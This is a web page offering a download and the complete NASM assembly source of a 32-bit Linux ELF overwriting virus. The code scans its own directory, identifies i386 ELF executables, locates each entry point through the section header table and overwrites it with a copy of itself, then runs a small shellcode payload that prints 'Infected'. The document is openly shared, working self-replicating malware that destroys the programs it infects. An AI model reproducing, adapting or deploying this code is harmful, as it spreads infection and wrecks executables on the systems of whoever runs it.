ELF Overwriting Infector

Download (7z)

A little ELF overwriting infector.

Currently uses the section header table for infection which is optional in executable binaries, so infection may fail. Pending a rewrite.

The infector will infect all ELF binaries in the same directory it lives in, non-recursively.

Code

; This program is free software. It comes without any warranty, to
; the extent permitted by applicable law. You can redistribute it
; and/or modify it under the terms of the Do What The Fuck You Want
; To Public License, Version 2, as published by Sam Hocevar. See
; COPYING for more details.
;
; Infects ELF executable files (Overwriting)- infector.s
; Infects all ELF executable files in the current directory
; InVoLuNTaRy
;
; A normal exit means the target file has been successfully infected.
; Other exits (non-zero) imply the opposite.
;
; Edi holds the file descriptor.
; Esi is used to restore ret.

BITS 32

section .code
    global _start

_start:

virii_start:
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

allocate_variables:
    ;ebp+0 = 4 bytes variable for file reading.
    ;ebp+4 = 4 bytes variable to store the entry points.
    ;ebp+8 = 4 bytes variable to store the address of virii_start
    ;ebp+12 = 4 bytes variable to store the address of virii_end
    ;ebp+16 = 4 bytes variable to store directory file descriptor
    ;ebp+20 = 268 bytes buffer for our dirent structure

    sub esp, 288
    mov ebp, esp

calculations:

    ;We need to calculate the address where our virus
    ;starts in memory in the time of execution.

    call get_start_addr

get_start_addr:
    pop esi
    sub esi, 21 ;the offset from the very first instruction.

    ;Esi now holds the memory address where our virus starts.
    ;Lets store it on the stack
    mov [ebp+8], esi

    ;Now we calculate the end address
    jmp end_address

get_end_addr:
    pop esi

    ;Esi now holds the memory address where our virus ends.
    ;Lets store it on the stack
    mov [ebp+12], esi

open_directory:
    ;int open(const char *pathname, int flags);
    ;const O_RDONLY = 0;

    ;O_RDWR flag
    xor ecx, ecx

    ;OR it with the O_DIRECTORY flag
    or ecx, 0x10000

    jmp pathname

pathname:
    call open_directory_2
    db './', 0

open_directory_2:
    pop ebx

    mov eax, 5
    int 0x80

    cmp eax, -1
    je near clean_exit

    cmp eax, -14
    je near clean_exit

    ;Save the file descriptor
    mov [ebp+16], eax

get_next_file:
    xor edx, edx

    ;Pointer to our dirent structure
    lea ecx, [ebp+20]

    ;File descriptor
    mov ebx, [ebp+16]

    ;readdir system call
    mov eax, 89

    int 0x80

    ;Success ?
    cmp eax, 1
    jne near close_dir

    ;Ignore .
    cmp word [ebp+30], 0x002E
    je get_next_file

    ;Ignore ..
    cmp word [ebp+30], 0x2E2E
    je get_next_file

open:
    ;int open(const char *pathname, int flags);
    ;const O_RDWR = 2;

    ;O_RDWR flag
    xor ecx, ecx
    mov cl, 0x2

    ;Pointer to file name
    lea ebx, [ebp+30]

    ;Time to call open()
    mov al, 5
    int 0x80

    ;Error ?
    cmp eax, 0
    jl get_next_file

    ;Put file descriptor in edi
    mov edi, eax

check_if_elf:
    ;Read the first four bytes of the file, and check
    ;if it reads 7F 45 4C 46 (7f + "ELF") in reverse order.

    ;First we move the cursor to the desired position, byte 0

    ;Push the file descriptor
    push edi

    ;Push the offset
    xor eax, eax
    push eax

    ;Push SEEK_SET(beginning of file)
    push eax

    call lseek

    ;Now read

    ;Push the file descriptor
    push edi

    ;Push the address of our buffer
    lea eax, [ebp+0]
    push eax

    ;Push the number of bytes we want to read
    mov eax, 4
    push eax

    call read

    ;Is it an ELF file ?
    mov eax, [ebp+0]
    cmp eax, 0x464C457F
    jne get_next_file

check_if_executable:
    ;Read bytes 16 and 17 (counting from 0) and compare to 02 00.

    ;First we move the cursor to the desired position, bytes 16 and 17

    ;Push the file descriptor
    push edi

    ;Push the offset
    mov eax, 16
    push eax

    ;Push SEEK_SET (beginning of file)
    xor eax, eax
    push eax

    call lseek

    ;Now we read

    ;Push the file descriptor
    push edi

    ;Push the address of our buffer
    lea eax, [ebp+0]
    push eax

    ;Push the number of bytes to read
    mov eax, 2
    push eax

    call read

    ;Is it an executable file ?
    mov eax, [ebp+0]
    cmp ax, 0x0002
    jne get_next_file

check_if_80386:
    ;Read bytes 18 and 19 (counting from 0) and compare to 03 00.

    ;First we move the cursor to the desired position, bytes 18 and 19.

    ;Push file descriptor
    push edi

    ;Push the offset
    mov eax, 18
    push eax

    ;Push SEEK_SET (beginning of file)
    xor eax, eax
    push eax

    call lseek

    ;Now we read

    ;Push file descriptor
    push edi

    ;Push address of our buffer
    lea eax, [ebp+0]
    push eax

    ;Push the number of bytes to read
    mov eax, 2
    push eax

    call read

    ;Is it suitable for the 80386 intel architecture ?
    mov eax, [ebp+0]
    cmp ax, 0x0003
    jne get_next_file

read_code_memory_entry_point:
    ;Find out the address in memory where control of execution is passed to.
    ;Corresponds to bytes 24-27

    ;Move the cursor to the desired position, byte 24

    ;Push file descriptor
    push edi

    ;Push offset
    mov eax, 24
    push eax

    ;Push SEEK_SET (beginning of file)
    xor eax, eax
    push eax

    call lseek

    ;Read the memory entry point.

    ;Push file descriptor
    push edi

    ;Push address of buffer
    lea eax, [ebp+4]
    push eax

    ;Push number of bytes to read
    mov eax, 4
    push eax

    call read

find_out_section_header_offset:
    ;e_shoff takes bytes 32 to 35. We need to read it
    ;and store the section header address temporarily
    ;so that we can later jump to it.

    ;Move the cursor to the desired position, byte 32

    ;Push file descriptor
    push edi

    ;Push the offset
    mov eax, 32
    push eax

    ;Push SEEK_SET (beginning of file)
    xor eax, eax
    push eax

    call lseek

    ;Now we read

    ;Push file descriptor
    push edi

    ;Push address of our buffer
    lea eax, [ebp+0]
    push eax

    ;Push the number of bytes to read
    mov eax, 4
    push eax

    call read

move_to_section_header:
    ;Move the cursor to the desired position, [ebp+0]

    ;Push file descriptor
    push edi

    ;Push the offset
    mov eax, [ebp+0]
    push eax

    ;Push SEEK_SET (beginning of file)
    xor eax, eax
    push eax

    call lseek

read_entry_point_loop:
    ;Now we read 4 bytes until we find the memory entry point,
    ;ebp+4.

    ;Push file descriptor
    push edi

    ;Push address of our buffer
    lea eax, [ebp+0]
    push eax

    ;Push number of bytes to read
    mov eax, 4
    push eax

    call read

    mov eax, [ebp+0]
    cmp eax, [ebp+4]
    jne read_entry_point_loop

read_code_file_entry_point:
    ;Read the next 4 bytes

    ;Push file descriptor
    push edi

    ;Push address of our buffer
    lea eax, [ebp+0]
    push eax

    ;Push number of bytes to read
    mov eax, 4
    push eax

    call read

jump_to_code_file_entry_point:

    ;Push file descriptor
    push edi

    ;Push the offset
    push dword [ebp+0]

    ;Push SEEK_SET (beginning of file)
    xor eax, eax
    push eax

    call lseek

write:
    ;Get the viral code size in memory
    mov edx, [ebp+12]
    sub edx, [ebp+8]

    ;Start writing from the start of the viral code
    mov ecx, [ebp+8]

    ;Move the file descriptor into ebx
    mov ebx, edi

    ;Write system call
    xor eax, eax
    mov al, 4

    ;Call write
    int 0x80

    ;Error ?
    cmp eax, -1
    je get_next_file

close:
    ;Close the file descriptor
    mov ebx, edi
    xor eax, eax
    mov al, 6
    int 0x80

    jmp get_next_file

close_dir:
    ;Close the directory file descriptor
    mov ebx, [ebp+16]
    xor eax, eax
    mov al, 6
    int 0x80

payload:
    db 0x31,0xc0,0x31,0xdb,0x31,0xc9,0x31,0xd2,0x6a,0x0a,0x68,0x63,0x74,0x65,0x64
    db 0x68,0x49,0x6e,0x66,0x65,0x89,0xe1,0xb2,0x09,0xb3,0x01,0xb0,0x04,0xcd,0x80

    jmp clean_exit

error:
    ;Close the file descriptor
    mov ebx, edi
    xor eax, eax
    mov al, 6
    int 0x80

    xor ebx, ebx
    mov bl, 1
    jmp exit

clean_exit:
    xor ebx, ebx

exit:
    xor eax, eax
    mov al, 1
    int 0x80

read:
    ;Reads a given number of bytes from a given file descriptor
    ;and stores the result in a given address of memory.

    ;pop the return address
    pop esi

    pop edx
    pop ecx
    pop ebx

    xor eax, eax
    mov al, 3

    int 0x80

    ;Check if the number of bytes read equals the number of bytes
    ;we actually wanted to read. If not, throw an error.

    cmp eax, edx
    jne get_next_file

    ;restore the return address and return
    push esi
    ret

lseek:
    ;Repositions the offset of the open file associated with the file
    ;descriptor fildes to the argument offset according to the directive
    ;whence.

    ;pop the return address
    pop esi

    pop edx
    pop ecx
    pop ebx

    xor eax, eax
    mov al, 19
    int 0x80

    ;Error ?
    cmp eax, -1
    je get_next_file

    ;restore the return address and return
    push esi
    ret

end_address:
    call get_end_addr
    db 0x90

virii_end: